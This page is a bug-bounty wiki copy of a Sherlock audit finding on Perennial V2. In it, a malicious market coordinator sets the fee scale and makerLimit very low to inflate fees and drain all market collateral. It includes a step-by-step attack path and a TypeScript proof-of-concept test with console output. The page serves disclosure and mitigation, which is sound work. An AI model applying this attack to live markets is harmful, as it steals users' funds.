Skip to content
Business logic Audit finding Advanced

Market coordinator can steal all market collateral by abusing very low value of `scale`

A market coordinator could set the fee scale parameter to a very low value, causing the proportional fee formula to charge fees that exceed the position size. By opening a large maker position and a large unsettled taker position, then lowering the scale, the coordinator could settle the taker into bad debt and withdraw the inflated maker profit, stealing all market collateral.

panprog Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/40

The protocol has acknowledged this issue.

Found by

panprog Summary The README states the following:

Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Market coordinator can set both makerLimit and scale for takerFee at very low amount (like 1), which will charge absurdly high taker proportional fee to existing positions, because proportional fee formula is change.abs().mul(price).muldiv(change.abs(), scale).mul(fee), i.e. the fee is (order_size)^2 * price * fee when scale is 1. The same issue is with maker proportional fee and taker adiabatic fee - all of them multiply by order size divided by scale.

The only limitation for scale setting is that it must be larger than some percentage of makerLimit and there is no limitation on makerLimit:

Solidity
    UFixed6 scaleLimit = self.makerLimit.div(self.efficiencyLimit).mul(protocolParameter.minScale);
    if (self.takerFee.scale.lt(scaleLimit) || self.makerFee.scale.lt(scaleLimit))
        revert RiskParameterStorageInvalidError();

This allows to set any scale amount, the makerLimit just has to be set to a similar amount, or alternatively efficiencyLimit can be set to a huge amount (there is only downside limitation for it), which will make scaleLimit very low, allowing very low scale values.

Market coordinator can abuse this by opening large maker position (settling it), opening large taker position (unsettled), changing risk parameter makerLimit and scale to 1, then at the next oracle version the large taker position will be settled using scale = 1, charging fees much higher than 100%, putting taker position into huge bad debt, while all makers will have huge profit (larger than market collateral), which coordinator can immediately withdraw from his maker position, stealing all market collateral.

Root Cause The exact root cause is hard to determine here. It might be the lack of risk parameter settings validations: the only scale check is against scaleLimit calculated from makerLimit, but there is no conditions on makerLimit itself: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L159-L161

On the other hand, it's probably hard to set correct protocol-wide limitation for this, so maybe the issue is with the design of the proportional and adiabatic fees, where the order_size / scale multiplication is quite dangerous as it is unlimited.

Internal pre-conditions Coordinator is malicious.

External pre-conditions None.

Attack Path

  1. Coordinator opens large maker position, settles it
  2. Coordinator opens large taker position (but doesn't settle it yet)
  3. Coordinator sets risk parameter: makerLimit = 1, takerFee.scale = 1 and takerFee.propotionalFee set to max.
  4. Coordinator commits oracle version of the taker position, settles maker+taker positions: taker is in huge bad debt, maker is in huge profit (larger than all market collateral)
  5. Coordinator withdraws all market collateral

Note: step 1 and 2 are preparation, steps 3-5 can be performed in 1 transaction

Alternatives:

  • Setting takeFee.scale = 1 and efficiencyLimit to a very high value.
  • All taker trades after the scale = 1 is set will incur huge fee, so it's possible to have settled taker position before the risk params change, and then close it by liquidation, incuring huge fees. Coordinator doesn't even have to open his own taker position, he can simply liquidate any large existing taker.
  • Use adiabatic fees scale instead of taker proportional fees
  • Use maker propotional fees (and use only maker accounts)

Impact All market collateral stolen.

Additional impact: if the market is part of any vault, almost all this vault funds can be stolen. This can be done by forcing the vault to re-balance (depositing or withdrawing some amount), which will charge huge fees, making vault's collateral in the market negative. Next re-balance will add more collateral into the market, which can be stolen again, repeated until most vault funds are stolen.

PoC

<details> <summary>Add to `test/unit/Market.test.ts` in the `update` context to demonstrate the scenario described above:</summary>
TS
it('Coordinator steals all funds by reducing fees scale', async () => {

    // collateral to pay fee only
    const A_COLLATERAL = parse6decimal('100000')
    const C_COLLATERAL = parse6decimal('10000')
    const A_POSITION = parse6decimal('1000')

    dsu.transferFrom.whenCalledWith(user.address, market.address, A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userB.address, market.address, A_COLLATERAL.mul(1e12)).returns(true)
    dsu.transferFrom.whenCalledWith(userC.address, market.address, C_COLLATERAL.mul(1e12)).returns(true)

    // honest userC simply deposits $1M collateral, not even opening position
    await market
        .connect(userC)
        ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0, C_COLLATERAL, false)

    // coordinator is the only maker in the market for simplicity
    await market
        .connect(user)
        ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, A_POSITION, 0, 0, A_COLLATERAL, false)

    // wait for the next oracle version to settle maker
    oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
    oracle.request.whenCalledWith(user.address).returns()

    await market.settle(user.address)

    // coordinator uses another accounts to open large taker positions (unsettled)
    await market
        .connect(userB)
        ['update(address,uint256,uint256,uint256,int256,bool)'](userB.address, 0, A_POSITION, 0, A_COLLATERAL, false)

    var loc = await market.locals(user.address);
    console.log("User collateral (maker)  : " + loc.collateral);
    var loc = await market.locals(userB.address);
    console.log("UserB collateral (taker) : " + loc.collateral);
    var loc = await market.locals(userC.address);
    console.log("UserC collateral (honest): " + loc.collateral);

    const maliciousRiskParameter = {
        ...riskParameter,
        makerLimit: 1000000, // minimal maker limit
        takerFee: {
        ...riskParameter.takerFee,
        proportionalFee: parse6decimal('0.01'), // set max fee since this will be paid to taker on close
        scale: 1000000, // minimal scale
        },
        // set utilization curve to 0 to better showcase the scale impact
        utilizationCurve: {
        ...riskParameter.utilizationCurve,
        minRate: parse6decimal('0.0'),
        maxRate: parse6decimal('0.0'),
        targetRate: parse6decimal('0.0'),
        targetUtilization: parse6decimal('0.50'),
        },
    }

    // coordinator sets very low maker limit and very low scale (1), his taker position is still pending
    await market.connect(coordinator).updateRiskParameter(maliciousRiskParameter)

    oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3, INITIALIZED_ORACLE_RECEIPT])
    oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
    oracle.request.whenCalledWith(user.address).returns()

    // user position is settled with a large amount (much higher than maker) but new risk parameters (very low scale)
    await settle(market, user)
    await settle(market, userB)

    console.log("After attack");
    var loc = await market.locals(user.address);
    console.log("User collateral (maker)  : " + loc.collateral);
    var loc = await market.locals(userB.address);
    console.log("UserB collateral (taker) : " + loc.collateral);
    var loc = await market.locals(userC.address);
    console.log("UserC collateral (honest): " + loc.collateral);
})
</details>

Console output from execution:

Solidity
User collateral (maker)  : 100000000000
UserB collateral (taker) : 100000000000
UserC collateral (honest): 10000000000
After attack
User collateral (maker)  : 1330000000000
UserB collateral (taker) : -1130000000000
UserC collateral (honest): 10000000000

Notice: honest user deposits 10K, coordinator deposits 100K+100K, after attack coordinator has collateral of 1.33M (much more than total collateral of 210K), which he can withdraw.

Mitigation Depends on protocol design choice. Possibilities I see:

  • Make scale validation more strict: possibly use max(makerLimit, currentGlobalPosition.long,short,maker ) instead of makerLimit in scaleLimit calculation, so that scale should obey not just makerLimit percentage, but also max from currently opened positions. Additionally validate efficiencyLimit max value (limit to 1?)
  • Change proportional and adiabatic fee formulas for something more percentage-based so that there is a strict max fee limit
  • Add hard percentage cap on proportional and adiabatic fees (currently proportional fee = 1% doesn't mean that it's max 1% - it's actually unlimited, 1% is some arbitrary number not telling anything about real percentage charged, so it makes sense to still have a cap for it)

The original report as published on Sherlock, by panprog. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the lack of validation on the `makerLimit` parameter, which allows `scale` to be set arbitrarily low because the only check is against a limit derived from `makerLimit`.

Impact

All market collateral could be stolen, and if the market is part of a vault, almost all vault funds could be stolen through repeated re-balancing.

What the attacker needed

Malicious market coordinator

The fix

The report suggests making scale validation stricter by considering current open positions, capping efficiencyLimit, changing fee formulas to be percentage-based, or adding a hard percentage cap on proportional and adiabatic fees.

How it was found

  1. Coordinator opens a large maker position and settles it.
  2. Coordinator opens a large taker position but does not settle it yet.
  3. Coordinator sets risk parameters: makerLimit to 1, takerFee.scale to 1, and takerFee.proportionalFee to maximum.
  4. Coordinator commits the oracle version for the taker position and settles both maker and taker positions, putting the taker into huge bad debt and the maker into huge profit.
  5. Coordinator withdraws all market collateral.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this market, a coordinator is a trusted role that sets fees and limits. The fee formula multiplies the order size by itself and divides by a 'scale' number, so making scale tiny makes fees enormous. The coordinator could make their own trading position appear hugely profitable and then withdraw that profit, taking everyone else's money.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by panprog

View all

66 more disclosed reports, best first.

More from Perennial V2 Update #3

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.